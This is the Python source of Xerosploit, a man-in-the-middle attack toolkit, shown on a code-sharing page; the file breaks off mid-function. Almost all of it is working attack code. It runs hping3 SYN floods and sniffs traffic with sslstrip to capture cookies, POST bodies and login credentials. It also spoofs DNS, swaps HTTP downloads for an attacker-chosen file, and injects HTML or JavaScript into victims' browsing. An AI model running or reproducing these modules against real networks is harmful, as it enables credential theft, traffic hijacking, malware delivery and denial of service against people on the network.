Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
lionsec
GitHub Repository: lionsec/xerosploit
Path: blob/master/xerosploit.py
517 views
1
#!/usr/bin/python
2
# -*- coding: utf-8 -*-
3
4
#---------------------------------------------------------------------------#
5
# This file is part of Xerosploit. #
6
# Xerosploit is free software: you can redistribute it and/or modify #
7
# it under the terms of the GNU General Public License as published by #
8
# the Free Software Foundation, either version 3 of the License, or #
9
# (at your option) any later version. #
10
# #
11
# Xerosploit is distributed in the hope that it will be useful, #
12
# but WITHOUT ANY WARRANTY; without even the implied warranty of #
13
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the #
14
# GNU General Public License for more details. #
15
# #
16
# You should have received a copy of the GNU General Public License #
17
# along with Xerosploit. If not, see <http://www.gnu.org/licenses/>. #
18
# #
19
#---------------------------------------------------------------------------#
20
# #
21
# Copyright © 2019 Neodrix (www.neodrix.com) #
22
# #
23
#---------------------------------------------------------------------------#
24
25
import os
26
from terminaltables import DoubleTable
27
from tabulate import tabulate
28
from banner import xe_header
29
import sys, traceback
30
from time import sleep
31
32
#Check if the script is running as root .
33
if not os.geteuid() == 0:
34
sys.exit("""\033[1;91m\n[!] Xerosploit must be run as root. ¯\_(ツ)_/¯\n\033[1;m""")
35
36
# Exit message
37
exit_msg = "\n[++] Shutting down ... Goodbye. ( ^_^)/\n"
38
def main():
39
try:
40
41
#Configure the network interface and gateway.
42
def config0():
43
global up_interface
44
up_interface = open('/opt/xerosploit/tools/files/iface.txt', 'r').read()
45
up_interface = up_interface.replace("\n","")
46
if up_interface == "0":
47
up_interface = os.popen("route | awk '/Iface/{getline; print $8}'").read()
48
up_interface = up_interface.replace("\n","")
49
50
global gateway
51
gateway = open('/opt/xerosploit/tools/files/gateway.txt', 'r').read()
52
gateway = gateway.replace("\n","")
53
if gateway == "0":
54
gateway = os.popen("ip route show | grep -i 'default via'| awk '{print $3 }'").read()
55
gateway = gateway.replace("\n","")
56
57
58
59
60
def home():
61
62
config0()
63
n_name = os.popen('iwgetid -r').read() # Get wireless network name
64
n_mac = os.popen("ip addr | grep 'state UP' -A1 | tail -n1 | awk '{print $2}' | cut -f1 -d'/'").read() # Get network mac
65
n_ip = os.popen("hostname -I").read() # Local IP address
66
n_host = os.popen("hostname").read() # hostname
67
68
69
# Show a random banner. Configured in banner.py .
70
print (xe_header())
71
72
print ("""
73
[+]═══════════[ Author : @LionSec1 \033[1;36m_-\|/-_\033[1;m Website: www.neodrix.com ]═══════════[+]
74
75
[ Powered by Bettercap and Nmap ]""")
76
77
print(""" \033[1;36m
78
┌═════════════════════════════════════════════════════════════════════════════┐
79
█ █
80
█ Your Network Configuration █
81
█ █
82
└═════════════════════════════════════════════════════════════════════════════┘ \n \033[1;m""")
83
84
# Print network configuration , using tabulate as table.
85
86
table = [["IP Address","MAC Address","Gateway","Iface","Hostname"],
87
["","","","",""],
88
[n_ip,n_mac.upper(),gateway,up_interface,n_host]]
89
print (tabulate(table, stralign="center",tablefmt="fancy_grid",headers="firstrow"))
90
print ("")
91
92
93
94
# Print xerosploits short description , using terminaltables as table.
95
table_datas = [
96
['\033[1;36m\nInformation\n', 'XeroSploit is a penetration testing toolkit whose goal is to \nperform man in the middle attacks for testing purposes. \nIt brings various modules that allow to realise efficient attacks.\nThis tool is Powered by Bettercap and Nmap.\033[1;m']
97
]
98
table = DoubleTable(table_datas)
99
print(table.table)
100
101
102
# Get a list of all currently connected devices , using Nmap.
103
def scan():
104
config0()
105
106
107
scan = os.popen("nmap " + gateway + "/24 -n -sP ").read()
108
109
f = open('/opt/xerosploit/tools/log/scan.txt','w')
110
f.write(scan)
111
f.close()
112
113
devices = os.popen(" grep report /opt/xerosploit/tools/log/scan.txt | awk '{print $5}'").read()
114
115
devices_mac = os.popen("grep MAC /opt/xerosploit/tools/log/scan.txt | awk '{print $3}'").read() + os.popen("ip addr | grep 'state UP' -A1 | tail -n1 | awk '{print $2}' | cut -f1 -d'/'").read().upper() # get devices mac and localhost mac address
116
117
devices_name = os.popen("grep MAC /opt/xerosploit/tools/log/scan.txt | awk '{print $4 ,S$5 $6}'").read() + "\033[1;32m(This device)\033[1;m"
118
119
120
table_data = [
121
['IP Address', 'Mac Address', 'Manufacturer'],
122
[devices, devices_mac, devices_name]
123
]
124
table = DoubleTable(table_data)
125
126
# Show devices found on your network
127
print("\033[1;36m[+]═══════════[ Devices found on your network ]═══════════[+]\n\033[1;m")
128
print(table.table)
129
target_ip()
130
131
132
133
# Set the target IP address .
134
def target_ip():
135
target_parse = " --target " # Bettercap target parse . This variable will be wiped if the user want to perform MITM ATTACK on all the network.
136
137
print ("\033[1;32m\n[+] Please choose a target (e.g. 192.168.1.10). Enter 'help' for more information.\n\033[1;m")
138
target_ips = input("\033[1;36m\033[4mXero\033[0m\033[1;36m ➮ \033[1;m").strip()
139
140
if target_ips == "back":
141
home()
142
elif target_ips == "home":
143
home()
144
elif target_ips == "":
145
print ("\033[1;91m\n[!] Please specify a target.\033[1;m") # error message if no target are specified.
146
target_ip()
147
target_name = target_ips
148
149
150
151
#modules section
152
def program0():
153
154
# I have separed target_ip() and program0() to avoid falling into a vicious circle when the user Choose the "all" option
155
cmd_target = os.popen("bash -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'").read() # IP forwarding
156
print("\033[1;34m\n[++] " + target_name + " has been targeted. \033[1;m")
157
def option():
158
""" Choose a module """
159
print("\033[1;32m\n[+] Which module do you want to load ? Enter 'help' for more information.\n\033[1;m")
160
options = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m\033[1;36m ➮ \033[1;m").strip() # select an option , port scan , vulnerability scan .. etc...
161
# Port scanner
162
if options == "pscan":
163
print(""" \033[1;36m
164
┌══════════════════════════════════════════════════════════════┐
165
█ █
166
█ Port Scanner █
167
█ █
168
█ Find open ports on network computers and retrieve █
169
█ versions of programs running on the detected ports █
170
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
171
def pscan():
172
173
174
if target_ips == "" or "," in target_ips:
175
print("\033[1;91m\n[!] Pscan : You must specify only one target host at a time .\033[1;m")
176
option()
177
178
179
print("\033[1;32m\n[+] Enter 'run' to execute the 'pscan' command.\n\033[1;m")
180
action_pscan = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mpscan\033[0m\033[1;36m ➮ \033[1;m").strip()#ip to scan
181
if action_pscan == "back":
182
option()
183
elif action_pscan == "exit":
184
sys.exit(exit_msg)
185
elif action_pscan == "home":
186
home()
187
188
pscan()
189
elif action_pscan == "run":
190
print("\033[1;34m\n[++] Please wait ... Scanning ports on " + target_name + " \033[1;m")
191
scan_port = os.popen("nmap "+ target_ips + " -Pn" ).read()
192
193
save_pscan = open('/opt/xerosploit/tools/log/pscan.txt','w') # Save scanned ports result.
194
save_pscan.write(scan_port)
195
save_pscan.close()
196
197
# Grep port scan information
198
ports = os.popen("grep open /opt/xerosploit/tools/log/pscan.txt | awk '{print $1}'" ).read().upper() # open ports
199
ports_services = os.popen("grep open /opt/xerosploit/tools/log/pscan.txt | awk '{print $3}'" ).read().upper() # open ports services
200
ports_state = os.popen("grep open /opt/xerosploit/tools/log/pscan.txt | awk '{print $2}'" ).read().upper() # port state
201
202
203
204
# Show the result of port scan
205
206
check_open_port = os.popen("grep SERVICE /opt/xerosploit/tools/log/pscan.txt | awk '{print $2}'" ).read().upper() # check if all port ara closed with the result
207
if check_open_port == "STATE\n":
208
209
table_data = [
210
['SERVICE', 'PORT', 'STATE'],
211
[ports_services, ports, ports_state]
212
]
213
table = DoubleTable(table_data)
214
print("\033[1;36m\n[+]═════════[ Port scan result for " + target_ips +" ]═════════[+]\n\033[1;m")
215
print(table.table)
216
pscan()
217
218
else:
219
# if all ports are closed , show error message .
220
print (check_open_port)
221
print ("\033[1;91m[!] All 1000 scanned ports on " + target_name + " are closed\033[1;m")
222
pscan()
223
else:
224
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
225
pscan()
226
227
228
pscan()
229
230
#DoS attack
231
elif options == "dos":
232
print(""" \033[1;36m
233
┌══════════════════════════════════════════════════════════════┐
234
█ █
235
█ DoS Attack █
236
█ █
237
█ Send a succession of SYN requests to a target's system █
238
█ to make the system unresponsive to legitimate traffic █
239
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
240
def dos():
241
242
if target_ips == "" or "," in target_ips:
243
print("\033[1;91m\n[!] Dos : You must specify only one target host at a time .\033[1;m")
244
option()
245
246
print("\033[1;32m\n[+] Enter 'run' to execute the 'dos' command.\n\033[1;m")
247
248
249
action_dos = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mdos\033[0m\033[1;36m ➮ \033[1;m").strip()
250
251
if action_dos == "back":
252
option()
253
elif action_dos == "exit":
254
sys.exit(exit_msg)
255
elif action_dos == "home":
256
home()
257
elif action_dos == "run":
258
259
print("\033[1;34m\n[++] Performing a DoS attack to " + target_ips + " ... \n\n[++] Press 'Ctrl + C' to stop.\n\033[1;m")
260
261
dos_cmd = os.system("hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --rand-source " + target_ips) # Dos command , using hping3
262
dos()
263
else:
264
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
265
dos()
266
dos()
267
268
# Ping
269
elif options == "ping":
270
print(""" \033[1;36m
271
┌══════════════════════════════════════════════════════════════┐
272
█ █
273
█ Ping █
274
█ █
275
█ Check the accessibility of devices █
276
█ and show how long it takes for packets to reach host █
277
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
278
def ping():
279
280
if target_ips == "" or "," in target_ips:
281
print("\033[1;91m\n[!] Ping : You must specify only one target host at a time .\033[1;m")
282
option()
283
284
285
print("\033[1;32m\n[+] Enter 'run' to execute the 'ping' command.\n\033[1;m")
286
287
action_ping = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mping\033[0m\033[1;36m ➮ \033[1;m").strip()
288
289
if action_ping == "back":
290
option()
291
elif action_ping == "exit":
292
sys.exit(exit_msg)
293
elif action_ping == "home":
294
home()
295
elif action_ping == "run":
296
print("\033[1;34m\n[++] PING " + target_ips + " (" + target_ips + ") 56(84) bytes of data ... \n\033[1;m")
297
ping_cmd = os.popen("ping -c 5 " + target_ips).read()
298
fping = open('/opt/xerosploit/tools/log/ping.txt','w') #Save ping result , then grep some informations.
299
fping.write(ping_cmd)
300
fping.close()
301
302
ping_transmited = os.popen("grep packets /opt/xerosploit/tools/log/ping.txt | awk '{print $1}'").read()
303
ping_receive = os.popen("grep packets /opt/xerosploit/tools/log/ping.txt | awk '{print $4}'").read()
304
ping_lost = os.popen("grep packets /opt/xerosploit/tools/log/ping.txt | awk '{print $6}'").read()
305
ping_time = os.popen("grep packets /opt/xerosploit/tools/log/ping.txt | awk '{print $10}'").read()
306
307
table_data = [
308
['Transmitted', 'Received', 'Loss','Time'],
309
[ping_transmited, ping_receive, ping_lost, ping_time]
310
]
311
table = DoubleTable(table_data)
312
print("\033[1;36m\n[+]═════════[ " + target_ips +" ping statistics ]═════════[+]\n\033[1;m")
313
print(table.table)
314
ping()
315
else:
316
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
317
ping()
318
319
ping()
320
321
elif options == "injecthtml":
322
print(""" \033[1;36m
323
┌══════════════════════════════════════════════════════════════┐
324
█ █
325
█ Inject Html █
326
█ █
327
█ Inject Html code in all visited webpage █
328
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
329
def inject_html():
330
print("\033[1;32m\n[+] Enter 'run' to execute the 'injecthtml' command.\n\033[1;m")
331
action_inject = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4minjecthtml\033[0m\033[1;36m ➮ \033[1;m").strip()
332
if action_inject == "back":
333
option()
334
elif action_inject == "exit":
335
sys.exit(exit_msg)
336
elif action_inject == "home":
337
home()
338
elif action_inject == "run":
339
print("\033[1;32m\n[+] Specify the file containing html code you would like to inject.\n\033[1;m")
340
html_file = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mInjecthtml\033[0m\033[1;36m ➮ \033[1;m")
341
342
if html_file == "back":
343
inject_html()
344
elif html_file == "home":
345
home()
346
else:
347
348
html_file = html_file.replace("'","")
349
print("\033[1;34m\n[++] Injecting Html code ... \033[1;m")
350
print("\033[1;34m\n[++] Press 'Ctrl + C' to stop . \n\033[1;m")
351
cmd_code = os.system("cp " + html_file + " /opt/xerosploit/tools/bettercap/modules/tmp/file.html")
352
cmd_inject = os.system("xettercap " + target_parse + target_ips + " --proxy-module=/opt/xerosploit/tools/bettercap/lib/bettercap/proxy/http/modules/injecthtml.rb --js-file " + html_file + " -I " + up_interface + " --gateway " + gateway )
353
354
inject_html()
355
356
else:
357
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
358
inject_html()
359
inject_html()
360
361
362
elif options == "rdownload":
363
print(""" \033[1;36m
364
┌══════════════════════════════════════════════════════════════┐
365
█ █
366
█ Replace Download █
367
█ █
368
█ Replace files being downloaded via HTTP █
369
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
370
def rdownload():
371
print("\033[1;32m\n[+] Please type 'run' to execute the 'rdownload' command.\n\033[1;m")
372
action_rdownload = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mrdownload\033[0m\033[1;36m ➮ \033[1;m").strip()
373
if action_rdownload == "back":
374
option()
375
elif action_rdownload == "exit":
376
sys.exit(exit_msg)
377
elif action_rdownload == "home":
378
home()
379
elif action_rdownload == "run":
380
module = "/opt/xerosploit/tools/bettercap/modules/http/replace_file.rb"
381
print("\033[1;32m\n[+] Specify the extension of the files to replace. (e.g. exe)\n\033[1;m")
382
ext_rdownload = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mrdownload\033[0m\033[1;36m ➮ \033[1;m").strip()
383
print("\033[1;32m\n[+] Set the file to use in order to replace the ones matching the extension.\n\033[1;m")
384
file_rdownload = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mrdownload\033[0m\033[1;36m ➮ \033[1;m")
385
file_rdownload = file_rdownload.replace("'","")
386
if file_rdownload == "back":
387
rdownload()
388
elif file_rdownload == "home":
389
home()
390
elif file_rdownload == "exit":
391
sys.exit(exit_msg)
392
else:
393
394
print("\033[1;34m\n[++] All ." + ext_rdownload + " files will be replaced by " + file_rdownload + " \033[1;m")
395
print("\033[1;34m\n[++] Press 'Ctrl + C' to stop . \n\033[1;m")
396
cmd_rdownload = os.system("xettercap " + target_parse + target_ips + " --proxy-module='/opt/xerosploit/tools/bettercap/modules/replace_file.rb' --file-extension " + ext_rdownload + " --file-replace " + file_rdownload + " -I " + up_interface + " --gateway " + gateway )
397
rdownload()
398
else:
399
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
400
rdownload()
401
rdownload()
402
elif options == "sniff":
403
print(""" \033[1;36m
404
┌══════════════════════════════════════════════════════════════┐
405
█ █
406
█ Sniffing █
407
█ █
408
█ Capturing any data passed over your local network █
409
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
410
411
def snif():
412
print("\033[1;32m\n[+] Please type 'run' to execute the 'sniff' command.\n\033[1;m")
413
action_snif = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4msniff\033[0m\033[1;36m ➮ \033[1;m").strip()
414
if action_snif == "back":
415
option()
416
elif action_snif == "exit":
417
sys.exit(exit_msg)
418
elif action_snif == "home":
419
home()
420
elif action_snif == "run":
421
def snif_sslstrip():
422
423
print("\033[1;32m\n[+] Do you want to load sslstrip ? (y/n).\n\033[1;m")
424
action_snif_sslstrip = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4msniff\033[0m\033[1;36m ➮ \033[1;m").strip()
425
if action_snif_sslstrip == "y":
426
print("\033[1;34m\n[++] All logs are saved on : /opt/xerosploit/xerosniff \033[1;m")
427
print("\033[1;34m\n[++] Sniffing on " + target_name + "\033[1;m")
428
print("\033[1;34m\n[++] sslstrip : \033[1;32mON\033[0m \033[1;m")
429
print("\033[1;34m\n[++] Press 'Ctrl + C' to stop . \n\033[1;m")
430
431
date = os.popen("""date | awk '{print $2"-"$3"-"$4}'""").read()
432
filename = target_ips + date
433
filename = filename.replace("\n","")
434
make_file = os.system("mkdir -p /opt/xerosploit/xerosniff && cd /opt/xerosploit/xerosniff && touch " + filename + ".log")
435
cmd_show_log = os.system("""xterm -geometry 100x24 -T 'Xerosploit' -hold -e "tail -f /opt/xerosploit/xerosniff/""" + filename + """.log | GREP_COLOR='01;36' grep --color=always -E '""" + target_ips + """|DNS|COOKIE|POST|HEADERS|BODY|HTTPS|HTTP|MQL|SNPP|DHCP|WHATSAPP|RLOGIN|IRC|SNIFFER|PGSQL|NNTP|DICT|HTTPAUTH|TEAMVIEWER|MAIL|SNMP|MPD|NTLMSS|FTP|REDIS|GET|$'" > /dev/null 2>&1 &""")
436
cmd_snif = os.system("xettercap --proxy " + target_parse + target_ips + " -P MYSQL,SNPP,DHCP,WHATSAPP,RLOGIN,IRC,HTTPS,POST,PGSQL,NNTP,DICT,HTTPAUTH,TEAMVIEWER,MAIL,SNMP,MPD,COOKIE,NTLMSS,FTP,REDIS -I " + up_interface + " --gateway " + gateway + " -O, --log /opt/xerosploit/xerosniff/" + filename + ".log --sniffer-output /opt/xerosploit/xerosniff/" + filename + ".pcap")
437
def snifflog():
438
print("\033[1;32m\n[+] Do you want to save logs ? (y/n).\n\033[1;m")
439
action_log = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4msniff\033[0m\033[1;36m ➮ \033[1;m").strip()
440
if action_log == "n":
441
cmd_log = os.system("rm /opt/xerosploit/xerosniff/" + filename + ".*")
442
print("\033[1;31m\n[++] Logs have been removed. \n\033[1;m")
443
sleep(1)
444
snif()
445
446
elif action_log == "y":
447
print("\033[1;32m\n[++] Logs have been saved. \n\033[1;m")
448
sleep(1)
449
snif()
450
451
elif action_log == "exit":
452
sys.exit(exit_msg)
453
454
455
else:
456
print("\033[1;91m\n[!] Error : Command not found. type 'y' or 'n'\033[1;m")
457
snifflog()
458
snifflog()
459
460
elif action_snif_sslstrip == "n":
461
print("\033[1;34m\n[++] All logs are saved on : /opt/xerosploit/xerosniff \033[1;m")
462
print("\033[1;34m\n[++] Sniffing on " + target_name + "\033[1;m")
463
print("\033[1;34m\n[++] sslstrip : \033[1;91mOFF\033[0m \033[1;m")
464
print("\033[1;34m\n[++] Press 'Ctrl + C' to stop . \n\033[1;m")
465
466
date = os.popen("""date | awk '{print $2"-"$3"-"$4}'""").read()
467
filename = target_ips + date
468
filename = filename.replace("\n","")
469
make_file = os.system("mkdir -p /opt/xerosploit/xerosniff && cd /opt/xerosploit/xerosniff && touch " + filename + ".log")
470
cmd_show_log = os.system("""xterm -geometry 100x24 -T 'Xerosploit' -hold -e "tail -f /opt/xerosploit/xerosniff/""" + filename + """.log | GREP_COLOR='01;36' grep --color=always -E '""" + target_ips + """|DNS|COOKIE|POST|HEADERS|BODY|HTTPS|HTTP|MQL|SNPP|DHCP|WHATSAPP|RLOGIN|IRC|SNIFFER|PGSQL|NNTP|DICT|HTTPAUTH|TEAMVIEWER|MAIL|SNMP|MPD|NTLMSS|FTP|REDIS|GET|$'" > /dev/null 2>&1 &""")
471
cmd_snif = os.system("xettercap " + target_parse + target_ips + " -P MYSQL,SNPP,DHCP,WHATSAPP,RLOGIN,IRC,HTTPS,POST,PGSQL,NNTP,DICT,HTTPAUTH,TEAMVIEWER,MAIL,SNMP,MPD,COOKIE,NTLMSS,FTP,REDIS -I " + up_interface + " --gateway " + gateway + " -O, --log /opt/xerosploit/xerosniff/" + filename + ".log --sniffer-output /opt/xerosploit/xerosniff/" + filename + ".pcap")
472
473
474
def snifflog():
475
print("\033[1;32m\n[+] Do you want to save logs ? (y/n).\n\033[1;m")
476
action_log = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4msniff\033[0m\033[1;36m ➮ \033[1;m").strip()
477
if action_log == "n":
478
cmd_log = os.system("rm /opt/xerosploit/xerosniff/" + filename + ".*")
479
print("\033[1;31m\n[++] Logs have been removed. \n\033[1;m")
480
sleep(1)
481
snif()
482
483
elif action_log == "y":
484
print("\033[1;32m\n[++] Logs have been saved. \n\033[1;m")
485
sleep(1)
486
snif()
487
488
elif action_log == "exit":
489
sys.exit(exit_msg)
490
491
492
else:
493
print("\033[1;91m\n[!] Error : Command not found. type 'y' or 'n'\033[1;m")
494
snifflog()
495
snifflog()
496
497
elif action_snif == "back":
498
snif()
499
elif action_snif == "exit":
500
sys.exit(exit_msg)
501
elif action_snif == "home":
502
home()
503
else:
504
print("\033[1;91m\n[!] Error : Command not found. type 'y' or 'n'\033[1;m")
505
snif_sslstrip()
506
snif_sslstrip()
507
508
else:
509
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
510
snif()
511
512
snif()
513
514
elif options == "dspoof":
515
print(""" \033[1;36m
516
┌══════════════════════════════════════════════════════════════┐
517
█ █
518
█ DNS spoofing █
519
█ █
520
█ Supply false DNS information to all target browsed hosts █
521
█ Redirect all the http traffic to the specified one IP █
522
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
523
def dspoof():
524
print("\033[1;32m\n[+] Enter 'run' to execute the 'dspoof' command.\n\033[1;m")
525
action_dspoof = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mdspoof\033[0m\033[1;36m ➮ \033[1;m").strip()
526
if action_dspoof == "back":
527
option()
528
elif action_dspoof == "exit":
529
sys.exit(exit_msg)
530
elif action_dspoof == "home":
531
home()
532
elif action_dspoof == "run":
533
print("\033[1;32m\n[+] Enter the IP address where you want to redirect the traffic.\n\033[1;m")
534
action_dspoof_ip = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mdspoof\033[0m\033[1;36m ➮ \033[1;m").strip()
535
dns_conf = action_dspoof_ip + " .*\.*"
536
outdns = open('/opt/xerosploit/tools/files/dns.conf','w')
537
outdns.write(dns_conf)
538
outdns.close()
539
540
print("\033[1;34m\n[++] Redirecting all the traffic to " + action_dspoof_ip + " ... \033[1;m")
541
print("\033[1;34m\n[++] Press 'Ctrl + C' to stop . \n\033[1;m")
542
543
cmd_dspoof = os.system("xettercap " + target_parse + target_ips + " --dns /opt/xerosploit/tools/files/dns.conf --custom-parser DNS -I " + up_interface + " --gateway " + gateway)
544
dspoof()
545
else:
546
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
547
dspoof()
548
dspoof()
549
elif options == "yplay":
550
print(""" \033[1;36m
551
┌══════════════════════════════════════════════════════════════┐
552
█ █
553
█ Yplay █
554
█ █
555
█ PLay youtube videos as background sound in all webpages █
556
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
557
def yplay():
558
print("\033[1;32m\n[+] Enter 'run' to execute the 'yplay' command.\n\033[1;m")
559
action_yplay = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4myplay\033[0m\033[1;36m ➮ \033[1;m").strip()
560
if action_yplay == "back":
561
option()
562
elif action_yplay == "exit":
563
sys.exit(exit_msg)
564
elif action_yplay == "home":
565
home()
566
elif action_yplay == "run":
567
print("\033[1;32m\n[+] Insert a youtube video ID. (e.g. NvhZu5M41Z8)\n\033[1;m")
568
video_id = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4myplay\033[0m\033[1;36m ➮ \033[1;m").strip()
569
if video_id == "back":
570
option()
571
elif video_id == "": # if raw = null
572
print("\033[1;91m\n[!] Error : Please specify your video ID.\033[1;m")
573
yplay()
574
elif video_id == "exit":
575
sys.exit(exit_msg)
576
elif video_id == "home":
577
home()
578
else:
579
code = "<head> <iframe width='0' height='0' src='http://www.youtube.com/embed/" + video_id + "?autoplay=1' frameborder='0' allowfullscreen></iframe>"
580
code_yplay = open('/opt/xerosploit/tools/bettercap/modules/tmp/yplay.txt','w')
581
code_yplay.write(code)
582
code_yplay.close()
583
print("\033[1;34m\n[++] PLaying : https://www.youtube.com/watch?v=" + video_id + " \033[1;m")
584
print("\033[1;34m\n[++] Press 'Ctrl + C' to stop . \n\033[1;m")
585
cmd_yplay = os.system("xettercap " + target_parse + target_ips + " --proxy-module='/opt/xerosploit/tools/bettercap/modules/rickroll.rb' -I " + up_interface + " --gateway " + gateway)
586
yplay()
587
else:
588
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
589
yplay()
590
yplay()
591
592
593
elif options == "replace":
594
print(""" \033[1;36m
595
┌══════════════════════════════════════════════════════════════┐
596
█ █
597
█ Image Replace █
598
█ █
599
█ Replace all web pages images with your own one █
600
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
601
def replace():
602
print("\033[1;32m\n[+] Enter 'run' to execute the 'replace' command.\n\033[1;m")
603
action_replace = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mreplace\033[0m\033[1;36m ➮ \033[1;m").strip()
604
if action_replace == "back":
605
option()
606
elif action_replace == "exit":
607
sys.exit(exit_msg)
608
elif action_replace == "home":
609
home()
610
elif action_replace == "run":
611
print("\033[1;32m\n[+] Insert your image path. (e.g. /home/capitansalami/pictures/fun.png)\n\033[1;m")
612
img_replace = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mreplace\033[0m\033[1;36m ➮ \033[1;m")
613
img_replace = img_replace.replace("'","")
614
if img_replace == "back":
615
replace()
616
elif img_replace == "exit":
617
sys.exit(exit_msg)
618
elif img_replace == "home":
619
home()
620
else:
621
from PIL import Image
622
img = Image.open(img_replace)
623
img.save('/opt/xerosploit/tools/bettercap/modules/tmp/ximage.png')
624
print("\033[1;34m\n[++] All images will be replaced by " + img_replace + "\033[1;m")
625
print("\033[1;34m\n[++] Press 'Ctrl + C' to stop . \n\033[1;m")
626
627
628
cmd_replace = os.system("xettercap " + target_parse + target_ips + " --proxy-module='/opt/xerosploit/tools/bettercap/modules/replace_images.rb' --httpd --httpd-path /opt/xerosploit/tools/bettercap/modules/tmp/ -I " + up_interface + " --gateway " + gateway)
629
630
replace()
631
else:
632
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
633
replace()
634
635
replace()
636
637
638
elif options == "driftnet":
639
print(""" \033[1;36m
640
┌══════════════════════════════════════════════════════════════┐
641
█ █
642
█ Driftnet █
643
█ █
644
█ View all images requested by your target █
645
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
646
def driftnet():
647
print("\033[1;32m\n[+] Enter 'run' to execute the 'driftnet' command.\n\033[1;m")
648
action_driftnet = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mdriftnet\033[0m\033[1;36m ➮ \033[1;m").strip()
649
if action_driftnet == "back":
650
option()
651
elif action_driftnet == "exit":
652
sys.exit(exit_msg)
653
elif action_driftnet == "home":
654
home()
655
elif action_driftnet == "run":
656
print("\033[1;34m\n[++] Capturing requested images on " + target_name + " ... \033[1;m")
657
print("\033[1;34m\n[++] All captured images will be temporarily saved in /opt/xerosploit/xedriftnet \033[1;m")
658
print("\033[1;34m\n[++] Press 'Ctrl + C' to stop . \n\033[1;m")
659
cmd_driftnet = os.system("mkdir -p /opt/xerosploit/xedriftnet && driftnet -d /opt/xerosploit/xedriftnet > /dev/null 2>&1 &")
660
cmd_driftnet_sniff = os.system("xettercap -X")
661
cmd_driftnet_2 = os.system("rm -R /opt/xerosploit/xedriftnet")
662
driftnet()
663
else:
664
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
665
driftnet()
666
driftnet()
667
668
elif options == "move":
669
print(""" \033[1;36m
670
┌══════════════════════════════════════════════════════════════┐
671
█ █
672
█ Shakescreen █
673
█ █
674
█ Shaking Web Browser content █
675
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
676
def shakescreen():
677
print("\033[1;32m\n[+] Enter 'run' to execute the 'move' command.\n\033[1;m")
678
action_shakescreen = input("\033[1;36m\033[4mXero\033[0m»\033[1;36m\033[4mmodules\033[0m»\033[1;36m\033[4mshakescreen\033[0m\033[1;36m ➮ \033[1;m").strip()
679
if action_shakescreen == "back":
680
option()
681
elif action_shakescreen == "exit":
682
sys.exit(exit_msg)
683
elif action_shakescreen == "home":
684
home()
685
elif action_shakescreen == "run":
686
print("\033[1;34m\n[++] Injecting shakescreen.js ... \033[1;m")
687
print("\033[1;34m\n[++] Press 'Ctrl + C' to stop . \n\033[1;m")
688
cmd_shakescreen = os.system("xettercap " + target_parse + target_ips + " --proxy-module=injectjs --js-file '/opt/xerosploit/tools/bettercap/modules/js/shakescreen.js' -I " + up_interface + " --gateway " + gateway)
689
shakescreen()
690
else:
691
print("\033[1;91m\n[!] Error : Command not found.\033[1;m")
692
shakescreen()
693
694
shakescreen()
695
696
elif options == "injectjs":
697
print(""" \033[1;36m
698
┌══════════════════════════════════════════════════════════════┐
699
█ █
700
█ Inject Javascript █
701
█ █
702
█ Inject Javascript code in all visited webpage. █
703
└══════════════════════════════════════════════════════════════┘ \033[1;m""")
704
def inject_j():
705
